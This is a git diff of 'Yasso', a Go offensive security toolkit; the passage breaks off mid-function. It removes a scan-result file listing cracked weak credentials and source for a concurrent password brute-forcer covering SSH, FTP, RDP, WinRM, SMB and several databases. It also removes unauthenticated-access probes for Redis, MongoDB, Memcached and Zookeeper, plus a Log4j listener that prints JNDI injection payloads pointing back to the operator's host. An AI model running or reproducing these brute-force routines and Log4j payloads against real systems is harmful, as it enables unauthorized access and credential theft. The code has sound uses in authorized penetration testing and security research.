-![image](https://user-images.githubusercontent.com/74412075/148235003-a72116d3-df9b-4b4e-9523-21d5f8b30e1b.png) - -## Tool advantages 🤡 - -- Simple command, simple module function invocation, easy to expand and add a variety of new functions - -- A large collection of commonly used features, making Yasso not like a regular scanner, but rather a toolset - -- Powerful SQL penetration assist functions, providing common Redis, mysql, MSSQL databases such as one key weight and - database operations - -- Powerful concurrent blasting, allowing larger dictionaries to gain faster speed - -- The strong addition of RDP and WinRM makes the horizontal network faster and more convenient - -## Disclaimer 🧐 - -This tool is only applicable to enterprise security construction activities legally authorized by. If you need to test -the usability of this tool, please build a target machine environment by yourself. - -When using this tool for testing, ensure that you comply with local laws and regulations and that you have obtained -sufficient authorization. It is important not to scan unauthorized targets -If you have any illegal behavior during the use of the tool, you shall bear the corresponding consequences by yourself, -and we will not assume any legal and joint liability. Before installing and using this tool, please carefully read -and fully understand the contents of each clause . Restrictions, disclaimers or other clauses related to your -significant rights and interests may be highlighted in bold or underlined forms. Do not install and use this tool unless -you have fully read, fully understand and accept all terms of this agreement. Your use of this Agreement or your -acceptance of this Agreement in any other way, express or implied, shall be deemed that you have read and agreed to be -bound by this Agreement. - -## Tool writing reference link 👀 - -``` -https://github.com/shadow1ng/fscan -https://github.com/k8gege/LadonGo -https://github.com/zyylhn/zscan -https://github.com/uknowsec/SharpSQLTools -https://github.com/mindspoof/MSSQL-Fileless-Rootkit-WarSQLKit -https://github.com/masterzen/winrm -https://github.com/tomatome/grdp -https://github.com/panjf2000/ants -``` \ No newline at end of file diff --git a/Yasso.exe b/Yasso.exe new file mode 100644 index 0000000..56cee9d Binary files /dev/null and b/Yasso.exe differ diff --git a/Yasso.json b/Yasso.json deleted file mode 100644 index 715cb3b..0000000 --- a/Yasso.json +++ /dev/null @@ -1,51 +0,0 @@ -[ - { - "HostName": "192.168.248.219", - "Ports": [ - 21, - 27017, - 6379, - 22, - 11211, - 5432 - ], - "WeakPass": [ - { - "ftp": { - "kali": "kali" - } - }, - { - "mongodb": { - "null": "null" - } - }, - { - "mongodb": { - "admin": "123456" - } - }, - { - "redis": { - "null": "null" - } - }, - { - "ssh": { - "root": "kali" - } - }, - { - "Memcached": { - "null": "null" - } - }, - { - "postgres": { - "admin": "admin@123" - } - } - ], - "Web": null - } -] \ No newline at end of file diff --git a/cmd/all.go b/cmd/all.go deleted file mode 100644 index ced180f..0000000 --- a/cmd/all.go +++ /dev/null @@ -1,167 +0,0 @@ -package cmd - -import ( - "Yasso/config" - "fmt" - "github.com/spf13/cobra" - "sync" - "time" -) - -var allCmd = &cobra.Command{ - Use: "all", - Short: "Use all scanner module (.attention) Some service not support proxy,You might lose it [*]", - Run: func(cmd *cobra.Command, args []string) { - if Hosts == "" { - _ = cmd.Help() - return - } - allRun(Hosts, Ports, JsonBool, Runtime, PingBool) - return - }, -} - -func init() { - allCmd.Flags().StringVarP(&Hosts, "host", "H", "", "Set `hosts`(The format is similar to Nmap) or ips.txt file path") - allCmd.Flags().StringVarP(&Ports, "ports", "P", "", "Set `ports`(The format is similar to Nmap)") - allCmd.Flags().BoolVar(&PingBool, "noping", false, "No use ping to scanner alive host") - allCmd.Flags().BoolVar(&NoCrack, "nocrack", false, "Do not blast fragile service") - allCmd.Flags().BoolVar(&RunICMP, "icmp", false, "Use icmp to scanner alive host") - allCmd.Flags().IntVar(&Runtime, "runtime", 100, "Set scanner ants pool thread") - allCmd.Flags().StringVar(&ProxyHost, "proxy", "", "Set socks5 proxy") - allCmd.Flags().BoolVar(&JsonBool, "json", false, "Output json file") - allCmd.Flags().DurationVar(&TimeDuration, "time", 1*time.Second, "Set timeout ") - rootCmd.AddCommand(allCmd) -} - -func allRun(hostString string, portString string, jsonbool bool, runtime int, noping bool) { - defer func() { - fmt.Println("[Yasso] scan task is completed") - }() - var ( - ips []string - ports []int - webports []int - alive []string - wg sync.WaitGroup - lock sync.Mutex - ) - if hostString != "" { - ips, _ = ResolveIPS(hostString) // 解析ip并获取ip列表 - } - if Ports != "" { - ports, _ = ResolvePORTS(portString) - webports, _ = ResolvePORTS(config.DisMapPorts) - } else { - ports, _ = ResolvePORTS(DefaultPorts) - webports, _ = ResolvePORTS(config.DisMapPorts) - } - - if noping == true { - // 不执行ping操作 - alive = ips - } else { - // 执行 ping 操作 - fmt.Println("----- [Yasso] Start do ping scan -----") - alive = execute(ips, RunICMP) - } - fmt.Println("[Yasso get alive host] is", len(alive)) - // 做漏洞扫描 - var out []JsonOut - //TODO: - if len(alive) > 0 { - fmt.Println("----- [Yasso] Start do vuln scan -----") - VulScan(alive, false, true, false) // 做漏洞扫描 - var PortResults []PortResult - if len(alive) != 0 { - fmt.Println("----- [Yasso] Start do port scan -----") - PortResults = PortScan(alive, ports) - } - if len(PortResults) != 0 && NoCrack == false { - fmt.Println("----- [Yasso] Start do crack service -----") - for _, v := range PortResults { - var one JsonOut - // 对json各式数据复制 - wg.Add(1) - go func(v PortResult, one JsonOut) { - defer wg.Done() - one.Host = v.IP - one.Ports = v.Port - for _, p := range v.Port { - lock.Lock() - switch p { - case 21: - users, pass := ReadTextToDic("ftp", UserDic, PassDic) - // add ftp "" pass - flag, _ := FtpConn(config.HostIn{Host: v.IP, Port: p, TimeOut: TimeDuration}, "anonymous", "") - if flag == true { - if flag == true && jsonbool == true { - one.WeakPass = append(one.WeakPass, map[string]map[string]string{"ftp": {"anonymous": "null"}}) - } - continue - } - burpTask(v.IP, "ftp", users, pass, p, runtime, TimeDuration, "", false, jsonbool, &one) - case 22: - users, pass := ReadTextToDic("ssh", UserDic, PassDic) - burpTask(v.IP, "ssh", users, pass, p, runtime, TimeDuration, "", false, jsonbool, &one) - case 3306: - users, pass := ReadTextToDic("mysql", UserDic, PassDic) - burpTask(v.IP, "mysql", users, pass, p, runtime, TimeDuration, "", false, jsonbool, &one) - case 6379: - _, b, _ := RedisUnAuthConn(config.HostIn{Host: v.IP, Port: p, TimeOut: TimeDuration}, "test", "test") - if b == true && jsonbool == true { - one.WeakPass = append(one.WeakPass, map[string]map[string]string{"redis": {"null": "null"}}) - } - users, pass := ReadTextToDic("redis", UserDic, PassDic) - burpTask(v.IP, "redis", users, pass, p, runtime, 5*time.Second, "", false, jsonbool, &one) - case 1433: - users, pass := ReadTextToDic("mssql", UserDic, PassDic) - burpTask(v.IP, "mssql", users, pass, p, runtime, TimeDuration, "", false, jsonbool, &one) - case 5432: - users, pass := ReadTextToDic("postgres", UserDic, PassDic) - burpTask(v.IP, "postgres", users, pass, p, runtime, TimeDuration, "", false, jsonbool, &one) - case 27017: - b, _ := MongoUnAuth(config.HostIn{Host: v.IP, Port: p, TimeOut: TimeDuration}, "test", "test") - if b == true && jsonbool == true { - one.WeakPass = append(one.WeakPass, map[string]map[string]string{"mongodb": {"null": "null"}}) - } - users, pass := ReadTextToDic("mongodb", UserDic, PassDic) - burpTask(v.IP, "mongodb", users, pass, p, runtime, TimeDuration, "", false, jsonbool, &one) - case 445: - users, pass := ReadTextToDic("smb", UserDic, PassDic) - burpTask(v.IP, "smb", users, pass, p, runtime, TimeDuration, "", false, jsonbool, &one) - case 5985: - users, pass := ReadTextToDic("rdp", UserDic, PassDic) // winrm与本地rdp认证相同 - burpTask(v.IP, "winrm", users, pass, p, runtime, TimeDuration, "", false, jsonbool, &one) - case 11211: - //memcached 未授权 - b, _ := MemcacheConn(config.HostIn{Host: v.IP, Port: p, TimeOut: TimeDuration}) - if b == true && jsonbool == true { - one.WeakPass = append(one.WeakPass, map[string]map[string]string{"Memcached": {"null": "null"}}) - } - case 2181: - //zookeeper 未授权 - b, _ := ZookeeperConn(config.HostIn{Host: v.IP, Port: p, TimeOut: TimeDuration}) - if b == true && jsonbool == true { - one.WeakPass = append(one.WeakPass, map[string]map[string]string{"zookeeper": {"null": "null"}}) - } - } - lock.Unlock() - } - out = append(out, one) - }(v, one) - } - wg.Wait() - } - // 做网卡扫描 - if len(alive) > 0 { - fmt.Println("----- [Yasso] Start do Windows service scan -----") - winscan(alive, true) - } - fmt.Println("----- [Yasso] Start do web service scan -----") - out = DisMapScanJson(&out, webports) - } - if jsonbool == true { - Out("Yasso.json", out) - } -} diff --git a/cmd/brute.go b/cmd/brute.go deleted file mode 100644 index b1098d5..0000000 --- a/cmd/brute.go +++ /dev/null @@ -1,310 +0,0 @@ -package cmd - -import ( - "Yasso/config" - "bufio" - "fmt" - "github.com/panjf2000/ants/v2" - "github.com/projectdiscovery/cdncheck" - "github.com/spf13/cobra" - "log" - "math" - "net" - "os" - "reflect" - "strings" - "sync" - "time" -) - -// 爆破模块 - -var BruteCmd = &cobra.Command{ - Use: "crack", - Short: "crack module and extend tool", - Run: func(cmd *cobra.Command, args []string) { - cmd.DisableFlagsInUseLine = true - _ = cmd.Help() - }, -} - -func init() { - // 添加全局变量 - BruteCmd.PersistentFlags().StringVarP(&Hosts, "hosts", "H", "", "to crack hosts address or ips.txt path (crack Must)") - BruteCmd.PersistentFlags().IntVar(&BrutePort, "port", 0, "to crack hosts port (if not set use default)") - BruteCmd.PersistentFlags().IntVar(&Runtime, "runtime", 100, "set crack thread number") - BruteCmd.PersistentFlags().BoolVarP(&BruteFlag, "crack", "", false, "make sure to use crack") - BruteCmd.PersistentFlags().DurationVar(&TimeDuration, "timeout", 1*time.Second, "crack module timeout(.eg) 1s (ns,ms,s,m,h)") - BruteCmd.PersistentFlags().StringVar(&PassDic, "pd", "", "pass dic path (.eg) pass.txt") - BruteCmd.PersistentFlags().StringVar(&UserDic, "ud", "", "user dic path (.eg) user.txt") - BruteCmd.PersistentFlags().StringVar(&ProxyHost, "proxy", "", "set socks5 proxy address") - BruteCmd.AddCommand(SshCmd) - BruteCmd.AddCommand(WinRMCmd) - BruteCmd.AddCommand(SmbCmd) - BruteCmd.AddCommand(Log4jCmd) - BruteCmd.AddCommand(RedisCmd) - BruteCmd.AddCommand(RdpCmd) - BruteCmd.AddCommand(MysqlCmd) - BruteCmd.AddCommand(MssqlCmd) - BruteCmd.AddCommand(FtpCmd) - BruteCmd.AddCommand(PostgreCmd) - BruteCmd.AddCommand(MongoCmd) - rootCmd.AddCommand(BruteCmd) -} - -var BurpModule = map[string]interface{}{ - "ssh": SshConnByUser, - "mysql": MySQLConn, - "mssql": MssqlConn, - "redis": RedisAuthConn, - "unredis": RedisUnAuthConn, // redis 未授权 - "postgres": PostgreConn, - "smb": SmbConn, - "ftp": FtpConn, - "rdp": RdpConn, - "winrm": WinRMAuth, - "mongodb": MongoAuth, - "unmongodb": MongoUnAuth, // mongodb 未授权 -} - -func BurpCall(EncryptMap map[string]interface{}, name string, params ...interface{}) []reflect.Value { - f := reflect.ValueOf(EncryptMap[name]) // 获取map键位name的值 - if len(params) != f.Type().NumIn() { // 如果参数的值不等于函数所需要的值 - log.Println(fmt.Sprintf("[ERROR] Burp Call Func key name %s is failed", name)) - os.Exit(1) - } - args := make([]reflect.Value, len(params)) - for k, param := range params { - if param == "" || param == 0 { - continue - } - //Println()(param) - args[k] = reflect.ValueOf(param) - } - //Println()(args) - //fmt.Println(args) - return f.Call(args) // 调用函数并返回结果 -} - -func SwitchBurp(service string, users []string, pass []string, hosts []string, port int, thread int, timeout time.Duration, Domain string) { - // 传入的参数均为3个 - // 调用方式 - var tunnel = make(chan string, 20) - var wg sync.WaitGroup - go func() { - for _, ip := range hosts { - tunnel <- ip - } - }() - for i := 0; i < len(hosts); i++ { - wg.Add(1) - _ = ants.Submit(func() { - ip := <-tunnel - burpTask(ip, service, users, pass, port, thread, timeout, Domain, true, false, nil) - wg.Done() - }) - } - wg.Wait() - Println(fmt.Sprintf("[*] brute %s done", service)) - - //Println()(service,users,pass,hosts,port,thread,BurpModule) -} - -/*** -* 从新计算爆破方式,之前的爆破是采用分割user进行的,但是发现,user数量会远少于password,所以按照password进行分割 - */ - -func burpTask(host, service string, users []string, pass []string, port int, thread int, timeout time.Duration, Domain string, run bool, jsonbool bool, out *JsonOut) { - var t int - var wg sync.WaitGroup - if len(pass) <= thread { - t = len(pass) - } else { - // 计算user数量 - t = thread // 协程数量 - } - - num := int(math.Ceil(float64(len(pass)) / float64(thread))) // 每个协程的user数量 - // 分割用户名 - all := map[int][]string{} - for i := 1; i <= t; i++ { - for j := 0; j < num; j++ { - tmp := (i-1)*num + j - if tmp < len(pass) { - all[i] = append(all[i], pass[tmp]) - } - } - } - if service == "redis" && run == true { - BurpCall(BurpModule, "unredis", config.HostIn{Host: host, Port: BrutePort, TimeOut: TimeDuration}, "test", "test") - } - if service == "mongodb" && run == true { - BurpCall(BurpModule, "unmongodb", config.HostIn{Host: host, Port: BrutePort, TimeOut: TimeDuration}, "test", "test") - } - //Println()(all,num,t) - for i := 1; i <= t; i++ { - wg.Add(1) - tmp := all[i] - _ = ants.Submit(func() { - for _, p := range tmp { - for _, u := range users { - if strings.Contains(p, "{user}") { - p = strings.ReplaceAll(p, "{user}", p) - } - if u == "" || p == "" { - continue - } else { - result := BurpCall(BurpModule, service, config.HostIn{Host: host, Port: port, TimeOut: time.Duration(timeout), Domain: Domain}, u, p) - burpStatus(result, service, host, Domain, u, p, jsonbool, out) - } - } - } - wg.Done() - }) - } - wg.Wait() -} - -func burpStatus(result []reflect.Value, service, host, domain, user, pass string, jsonbool bool, out *JsonOut) { - var lock sync.Mutex - // 这里是判断类型并返回结果的函数 - if len(result) > 0 { - for _, v := range result { - switch v.Kind() { - case reflect.Bool: - if v.Bool() == true { - if domain != "" { - domain = domain + "\\" - } - if jsonbool == true { - // 加锁 - lock.Lock() - out.WeakPass = append(out.WeakPass, map[string]map[string]string{service: {user: pass}}) - lock.Unlock() - } - Println(fmt.Sprintf(`[+] %s brute %s success [%v%s:%s]`, host, service, domain, user, pass)) - } - } - } - } -} - -func Readiness(file *os.File) []string { - var readiness []string /*定义一个空切片用于存储遍历后的数据*/ - scanner := bufio.NewScanner(file) - scanner.Split(bufio.ScanLines) - for scanner.Scan() { - text := strings.TrimSpace(scanner.Text()) - if text != "" { - readiness = append(readiness, text) - } - } - readiness = SplitUrlToIpList(readiness, 100) - return readiness -} - -func ReadTextToDic(service, user, pass string) ([]string, []string) { - var ( - userdic = config.Userdict[service] - passdic = config.Passwords - ) - // 如果不包含.txt的话,按照用户名和密码来算。其中 - if user != "" && !strings.Contains(user, ".txt") { - userdic = strings.Split(user, ",") - } - if pass != "" && !strings.Contains(pass, ".txt") { - passdic = strings.Split(pass, ",") - } - - if user != "" && strings.Contains(user, ".txt") { - userive, err := os.Open(user) - if err != nil { - Println(fmt.Sprintf("[ERROR] Open %s is failed,please check your user dic path", UserDic)) - return []string{}, []string{} - } - userdic = Readiness(userive) - } - if pass != "" && strings.Contains(pass, ".txt") { - passive, err := os.Open(pass) - if err != nil { - Println(fmt.Sprintf("[ERROR] Open %s is failed,please check your pass dic path", PassDic)) - return []string{}, []string{} - } - passdic = Readiness(passive) - } - return userdic, passdic -} - -func SplitUrlToIpList(list []string, thread int) []string { - cdnClient, err := cdncheck.NewWithCache() - if err != nil { - Println(fmt.Sprintf("[ERROR] new cdn cache has an error %v", err)) - } - checkChan := make(chan string, 100) - var wg sync.WaitGroup - var re []string - for i := 0; i < thread; i++ { - wg.Add(1) - go func() { - defer wg.Done() - for host := range checkChan { - ip, err := net.LookupHost(host) - if err != nil { - continue - } - if ip != nil { - for _, i := range ip { - re = append(re, i) - Println(fmt.Sprintf("[*] %v:%v", host, ip)) - } - } - } - }() - } - // 判断前缀,将其添加到需要解析的列表当中 - for _, domain := range list { - if strings.Contains(domain, "http://") { - domain = strings.TrimPrefix(domain, "http://") - } - if strings.Contains(domain, "https://") { - domain = strings.TrimPrefix(domain, "https://") - } - checkChan <- domain - } - close(checkChan) - wg.Wait() - re = remove(re) // 移除重复结果 - // 移除cdn结果 - var resp []string - for _, ip := range re { - success := cdnFilter(ip, cdnClient) - if success != "" && !strings.Contains(ip, ":") { - resp = append(resp, success) - } else { - Println(fmt.Sprintf("[*] %s has cdn", ip)) - } - } - return resp -} - -// cdn 过滤器 -func cdnFilter(ip string, client *cdncheck.Client) string { - if found, _, err := client.Check(net.ParseIP(ip)); found && err == nil { - return "" - } - return ip -} - -// remove 移除重复结果 -func remove(slc []string) []string { - var result []string - tempMap := map[string]byte{} // 存放不重复主键 - for _, e := range slc { - l := len(tempMap) - tempMap[e] = 0 - if len(tempMap) != l { // 加入map后,map长度变化,则元素不重复 - result = append(result, e) - } - } - return result -} diff --git a/cmd/cmd.go b/cmd/cmd.go new file mode 100644 index 0000000..eb70eee --- /dev/null +++ b/cmd/cmd.go @@ -0,0 +1,17 @@ +package cmd + +import ( + "Yasso/core/flag" + "Yasso/core/logger" + "os" +) + +func Execute() { + file, err := os.OpenFile(logger.LogFile, os.O_APPEND|os.O_CREATE|os.O_SYNC, 0666) + if err != nil { + logger.Fatal("open logger file has an error", err.Error()) + return + } + defer file.Close() + flag.Execute() +} diff --git a/cmd/ftp.go b/cmd/ftp.go deleted file mode 100644 index 280be55..0000000 --- a/cmd/ftp.go +++ /dev/null @@ -1,61 +0,0 @@ -package cmd - -import ( - "Yasso/config" - "fmt" - "github.com/jlaffaye/ftp" - "github.com/spf13/cobra" - "time" -) - -var FtpCmd = &cobra.Command{ - Use: "ftp", - Short: "ftp burst module (support proxy)", - Run: func(cmd *cobra.Command, args []string) { - if Hosts == "" { - _ = cmd.Help() - } else { - BruteFtpByUser() - } - }, -} - -func BruteFtpByUser() { - if BrutePort == 0 { - BrutePort = 21 - } - var ips []string - var err error - if Hosts != "" { - ips, err = ResolveIPS(Hosts) - if err != nil { - Println(fmt.Sprintf("resolve hosts address failed %v", err)) - return - } - if BruteFlag == true { - users, pass := ReadTextToDic("ftp", UserDic, PassDic) - Println("[*] Brute Module [ftp]") - Println(fmt.Sprintf("[*] Have [user:%v] [pass:%v] [request:%v]", len(users), len(pass), len(users)*len(pass)*len(ips))) - SwitchBurp("ftp", users, pass, ips, BrutePort, Runtime, TimeDuration, "") - } else { - Println("[*] May be you want to brute? try to add --crack") - } - } -} - -func FtpConn(info config.HostIn, user, pass string) (bool, error) { - var flag = false - c, err := GetConn(fmt.Sprintf("%v:%v", info.Host, info.Port), time.Duration(info.TimeOut)) - - conn, err := ftp.Dial(fmt.Sprintf("%v:%v", info.Host, info.Port), ftp.DialWithNetConn(c)) - if err == nil { - err = conn.Login(user, pass) - if err == nil { - if pass == "" { - Println(fmt.Sprintf("ftp %v unauthorized", fmt.Sprintf("%v:%v", info.Host, info.Port))) - } - flag = true - } - } - return flag, err -} diff --git a/cmd/grdp.go b/cmd/grdp.go deleted file mode 100644 index afb508e..0000000 --- a/cmd/grdp.go +++ /dev/null @@ -1,166 +0,0 @@ -package cmd - -import ( - "Yasso/config" - "errors" - "fmt" - "github.com/spf13/cobra" - "github.com/tomatome/grdp/core" - "github.com/tomatome/grdp/glog" - "github.com/tomatome/grdp/protocol/nla" - "github.com/tomatome/grdp/protocol/pdu" - "github.com/tomatome/grdp/protocol/rfb" - "github.com/tomatome/grdp/protocol/sec" - "github.com/tomatome/grdp/protocol/t125" - "github.com/tomatome/grdp/protocol/tpkt" - "github.com/tomatome/grdp/protocol/x224" - "log" - "os" - "sync" - "time" -) - -var ( - BruteDomain string -) -var RdpCmd = &cobra.Command{ - Use: "grdp", - Short: "RDP burst module (support proxy)", - Run: func(cmd *cobra.Command, args []string) { - if Hosts == "" { - _ = cmd.Help() - } else { - BruteRdpByUser() - } - }, -} - -func init() { - RdpCmd.Flags().StringVar(&BruteDomain, "domain", "", "set host domain") -} - -func BruteRdpByUser() { - if BrutePort == 0 { - BrutePort = 3389 - } - var ips []string - var err error - if Hosts != "" { - ips, err = ResolveIPS(Hosts) - if err != nil { - Println(fmt.Sprintf("resolve hosts address failed %v", err)) - return - } - if BruteFlag == true { - users, pass := ReadTextToDic("rdp", UserDic, PassDic) - Println("[*] Brute Module [rdp]") - Println(fmt.Sprintf("[*] Have [user:%v] [pass:%v] [request:%v]", len(users), len(pass), len(users)*len(pass)*len(ips))) - SwitchBurp("rdp", users, pass, ips, BrutePort, Runtime, TimeDuration, BruteDomain) - } else { - Println("[*] May be you want to brute? try to add --crack") - } - } -} - -//TODO: shadow1ng佬 fork的仓库并将原始代码进行了完善和修改 - -func RdpConn(info config.HostIn, user, password string) (bool, error) { - target := fmt.Sprintf("%s:%d", info.Host, info.Port) - g := NewClient(target, glog.NONE) - err := g.Login(info.Domain, user, password) - - //var err - if err == nil { - return true, nil - } - //return true, err - return false, err -} - -type Client struct { - Host string // ip:port - tpkt *tpkt.TPKT - x224 *x224.X224 - mcs *t125.MCSClient - sec *sec.Client - pdu *pdu.Client - vnc *rfb.RFB -} - -func NewClient(host string, logLevel glog.LEVEL) *Client { - glog.SetLevel(logLevel) - logger := log.New(os.Stdout, "", 0) - glog.SetLogger(logger) - return &Client{ - Host: host, - } -} - -func (g *Client) Login(domain, user, pwd string) error { - // 这里做一下修改,将dial.Timeout换成GetConn的代理连接 - conn, err := GetConn(g.Host, 5*time.Second) - if err != nil { - return fmt.Errorf("[dial err] %v", err) - } - defer conn.Close() - glog.Info(conn.LocalAddr().String()) - - g.tpkt = tpkt.New(core.NewSocketLayer(conn), nla.NewNTLMv2(domain, user, pwd)) - g.x224 = x224.New(g.tpkt) - g.mcs = t125.NewMCSClient(g.x224) - g.sec = sec.NewClient(g.mcs) - g.pdu = pdu.NewClient(g.sec) - - g.sec.SetUser(user) - g.sec.SetPwd(pwd) - g.sec.SetDomain(domain) - //g.sec.SetClientAutoReconnect() - - g.tpkt.SetFastPathListener(g.sec) - g.sec.SetFastPathListener(g.pdu) - g.pdu.SetFastPathSender(g.tpkt) - - //g.x224.SetRequestedProtocol(x224.PROTOCOL_SSL) - //g.x224.SetRequestedProtocol(x224.PROTOCOL_RDP) - - err = g.x224.Connect() - if err != nil { - return fmt.Errorf("[x224 connect err] %v", err) - } - glog.Info("wait connect ok") - wg := &sync.WaitGroup{} - breakFlag := false - wg.Add(1) - - g.pdu.On("error", func(e error) { - err = e - glog.Error("error", e) - g.pdu.Emit("done") - }) - g.pdu.On("close", func() { - err = errors.New("close") - glog.Info("on close") - g.pdu.Emit("done") - }) - g.pdu.On("success", func() { - err = nil - glog.Info("on success") - g.pdu.Emit("done") - }) - g.pdu.On("ready", func() { - glog.Info("on ready") - g.pdu.Emit("done") - }) - g.pdu.On("update", func(rectangles []pdu.BitmapData) { - glog.Info("on update:", rectangles) - }) - g.pdu.On("done", func() { - if breakFlag == false { - breakFlag = true - wg.Done() - } - }) - - wg.Wait() - return err -} diff --git a/cmd/json.go b/cmd/json.go deleted file mode 100644 index cee7929..0000000 --- a/cmd/json.go +++ /dev/null @@ -1,30 +0,0 @@ -package cmd - -import ( - "encoding/json" - "fmt" - "os" -) - -// 输出json格式数据 - -type JsonOut struct { - Host string `json:"HostName"` - Ports []int `json:"Ports"` - WeakPass []map[string]map[string]string `json:"WeakPass"` - WebHosts []string `json:"Web"` -} - -func Out(filename string, js []JsonOut) { - file, err := os.OpenFile(filename, os.O_APPEND|os.O_CREATE, 0666) - if err != nil { - Println(fmt.Sprintf("[!] create json file failed %v", err)) - return - } - b, err := json.Marshal(&js) - if err != nil { - Println(fmt.Sprintf("[!] json marshal is failed %v", err)) - return - } - _, _ = file.Write(b) -} diff --git a/cmd/log4j.go b/cmd/log4j.go deleted file mode 100644 index fb6cd78..0000000 --- a/cmd/log4j.go +++ /dev/null @@ -1,109 +0,0 @@ -package cmd - -import ( - "fmt" - "github.com/spf13/cobra" - "net" - "os" - "os/signal" - "strings" - "syscall" -) - -/* - log4j扫描程序服务器,用来查看是否有漏洞 -*/ -var ( - log4listenAddr string -) - -var Log4jCmd = &cobra.Command{ - Use: "log4j", - Short: "Open a socket listener to test log4J vulnerabilities offline", - Run: func(cmd *cobra.Command, args []string) { - if log4listenAddr == "" { - _ = cmd.Help() - } - t := strings.Split(log4listenAddr, ":") - if len(t) == 2 { - Println("Press ctrl+c to shutdown") - go Log4jCheckServer(t[0], t[1]) - c := make(chan os.Signal, 1) - signal.Notify(c, os.Interrupt, syscall.SIGTERM) - <-c - Println("ctrl+c detected. Shutting down") - } - }, -} - -func init() { - Log4jCmd.Flags().StringVarP(&log4listenAddr, "bind", "b", "0.0.0.0:4568", "socket listen address") -} - -func Log4j2HandleRequest(conn net.Conn) { - defer conn.Close() - buf := make([]byte, 1024) - num, err := conn.Read(buf) - if err != nil { - Println(fmt.Sprintf("accept data reading err %v", err)) - _ = conn.Close() - return - } - hexStr := fmt.Sprintf("%x", buf[:num]) - // LDAP 协议 - if "300c020101600702010304008000" == hexStr { - Println(fmt.Sprintf("[LDAP] %s Finger:%s", conn.RemoteAddr().String(), hexStr)) - return - } - if RMI(buf) { - Println(fmt.Sprintf("[RMI] %s Finger:%x", conn.RemoteAddr().String(), buf[0:7])) - return - } -} - -//TODO: https://github.com/KpLi0rn/Log4j2Scan/blob/main/core/server.go - -func RMI(data []byte) bool { - if data[0] == 0x4a && data[1] == 0x52 && data[2] == 0x4d && data[3] == 0x49 { - if data[4] != 0x00 { - return false - } - if data[5] != 0x01 && data[5] != 0x02 { - return false - } - if data[6] != 0x4b && data[6] != 0x4c && data[6] != 0x4d { - return false - } - lastData := data[7:] - for _, v := range lastData { - if v != 0x00 { - return false - } - } - return true - } - return false -} - -func Log4jCheckServer(host string, port string) { - listen, err := net.Listen("tcp", fmt.Sprintf("%s:%s", host, port)) - if err != nil { - Println("log4j listen server failed") - return - } - defer listen.Close() - //Println()(fmt.Sprintf("[Log4j2] Listen start on %s:%s",host,port)) - Println("[payload]: ") - Println(fmt.Sprintf("==> ${${lower:${lower:jndi}}:${lower:ldap}://%v:%v/poc}", host, port)) - Println(fmt.Sprintf("==> ${${::-j}ndi:rmi://%v:%v/poc}", host, port)) - Println(fmt.Sprintf("==> ${jndi:ldap://%v:%v/poc}", host, port)) - Println("-----------------------------------") - for { - conn, err := listen.Accept() - if err != nil { - Println(fmt.Sprintf("accept failed %v", err)) - continue - } - go Log4j2HandleRequest(conn) - } -} diff --git a/cmd/logger.go b/cmd/logger.go deleted file mode 100644 index 640a965..0000000 --- a/cmd/logger.go +++ /dev/null @@ -1,32 +0,0 @@ -package cmd - -import ( - "fmt" - "os" -) - -var FileName string - -func Println(s string) { - fmt.Println(s) - file, err := os.OpenFile(FileName, os.O_APPEND|os.O_WRONLY, 0666) - defer file.Close() - if err != nil { - fmt.Println("[!] open log file failed", err) - return - } - _, _ = file.WriteString("\n" + s) -} - -func CreateLogFile(filename string) { - FileName = filename - _, err := os.Stat(filename) - if err != nil { - file, err := os.Create(filename) - if err != nil { - fmt.Println("[!] create log file failed", err) - return - } - defer file.Close() - } -} diff --git a/cmd/mongo.go b/cmd/mongo.go deleted file mode 100644 index 3fb254b..0000000 --- a/cmd/mongo.go +++ /dev/null @@ -1,136 +0,0 @@ -package cmd - -import ( - "Yasso/config" - "fmt" - "github.com/spf13/cobra" - "net" - "strings" - - "gopkg.in/mgo.v2" - "time" -) - -var MongoCmd = &cobra.Command{ - Use: "mongo", - Short: "MongoDB burst module (support proxy)", - Run: func(cmd *cobra.Command, args []string) { - if Hosts == "" { - _ = cmd.Help() - } else { - BruteMongoByUser() - } - }, -} - -func BruteMongoByUser() { - if BrutePort == 0 { - BrutePort = 27017 - } - var ips []string - var err error - if Hosts != "" && ConnHost == "" { - ips, err = ResolveIPS(Hosts) - if err != nil { - Println(fmt.Sprintf("resolve hosts address failed %v", err)) - return - } - if BruteFlag == true { - users, pass := ReadTextToDic("mongodb", UserDic, PassDic) - Println("[*] Brute Module [mongodb]") - Println("[*] MongoDB Authorized crack") - Println(fmt.Sprintf("[*] Have [user:%v] [pass:%v] [request:%v]", len(users), len(pass), len(users)*len(pass)*len(ips))) - SwitchBurp("mongodb", users, pass, ips, BrutePort, Runtime, TimeDuration, "") - } else { - Println("[*] May be you want to brute? try to add --crack") - } - } -} - -func MongoAuth(info config.HostIn, user, pass string) (*mgo.Session, bool, error) { - - conf := &mgo.DialInfo{ - Dial: func(addr net.Addr) (net.Conn, error) { - return GetConn(addr.String(), info.TimeOut) - }, - Addrs: []string{fmt.Sprintf("%s:%d", info.Host, info.Port)}, - Timeout: info.TimeOut, - Database: "test", - Source: "admin", - Username: user, - Password: pass, - PoolLimit: 4096, - Direct: false, - } - db, err := mgo.DialWithInfo(conf) - if err == nil { - err = db.Ping() - if err != nil { - return nil, false, err - } - //defer db.Close() - return db, true, nil - - } - return nil, false, err -} - -func MongoUnAuth(info config.HostIn, user, pass string) (bool, error) { - var flag = false - data1 := []byte{58, 0, 0, 0, 167, 65, 0, 0, 0, 0, 0, 0, 212, 7, 0, 0, 0, 0, 0, 0, 97, 100, 109, 105, 110, 46, 36, 99, 109, 100, 0, 0, 0, 0, 0, 255, 255, 255, 255, 19, 0, 0, 0, 16, 105, 115, 109, 97, 115, 116, 101, 114, 0, 1, 0, 0, 0, 0} - data2 := []byte{72, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 212, 7, 0, 0, 0, 0, 0, 0, 97, 100, 109, 105, 110, 46, 36, 99, 109, 100, 0, 0, 0, 0, 0, 1, 0, 0, 0, 33, 0, 0, 0, 2, 103, 101, 116, 76, 111, 103, 0, 16, 0, 0, 0, 115, 116, 97, 114, 116, 117, 112, 87, 97, 114, 110, 105, 110, 103, 115, 0, 0} - connString := fmt.Sprintf("%s:%v", info.Host, info.Port) - conn, err := GetConn(connString, info.TimeOut) - defer func() { - if conn != nil { - conn.Close() - } - }() - if err != nil { - return false, err - } - err = conn.SetReadDeadline(time.Now().Add(time.Duration(info.TimeOut))) - if err != nil { - return false, err - } - _, err = conn.Write(data1) - if err != nil { - return false, err - } - reply := make([]byte, 1024) - count, err := conn.Read(reply) - if err != nil { - return false, err - } - text 